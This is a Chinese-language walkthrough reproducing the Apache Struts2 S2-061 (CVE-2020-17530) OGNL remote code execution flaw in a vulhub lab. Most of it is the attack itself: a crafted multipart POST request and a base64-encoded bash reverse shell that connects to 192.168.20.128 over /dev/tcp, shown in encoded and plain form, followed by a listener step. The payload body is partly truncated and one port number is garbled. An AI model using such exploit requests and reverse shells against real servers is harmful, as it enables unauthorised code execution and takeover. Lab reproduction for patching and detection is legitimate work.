Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
漏洞编号CVE-2020-17530
CVE-2020-17530是对CVE-2019-0230的绕过,Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒,而CVE-2020-17530绕过了该沙盒
。
在特定的环境下,远程攻击者通过构造恶意的OGNL表达式,可造成任意代码执行。
Struts 2.0.0 – Struts 2.5.25
这里用的vulhub环境一键搭建
执行如下命令启动一个Struts2 2.5.25版本环境
https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/
1、启动Struts 2.5.25环境:
2、环境启动后,访问
查看首页
1、发送如下数据包,即可执行反弹shell命令:
POST /index.action HTTP/1.1
Host:192.168.20.129:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language:en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
2、这里为反弹shell命令:
(#arglist.add("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")).(
bash -i >& /dev/tcp/192.168.20.128/66660>&1(PS:反弹shell涉及到管道符问题于是要将命令进行base64编码)
base64在线编码:
http://www.jackson-t.ca/runtime-exec-payloads.html
3、在攻击机监听本地端口: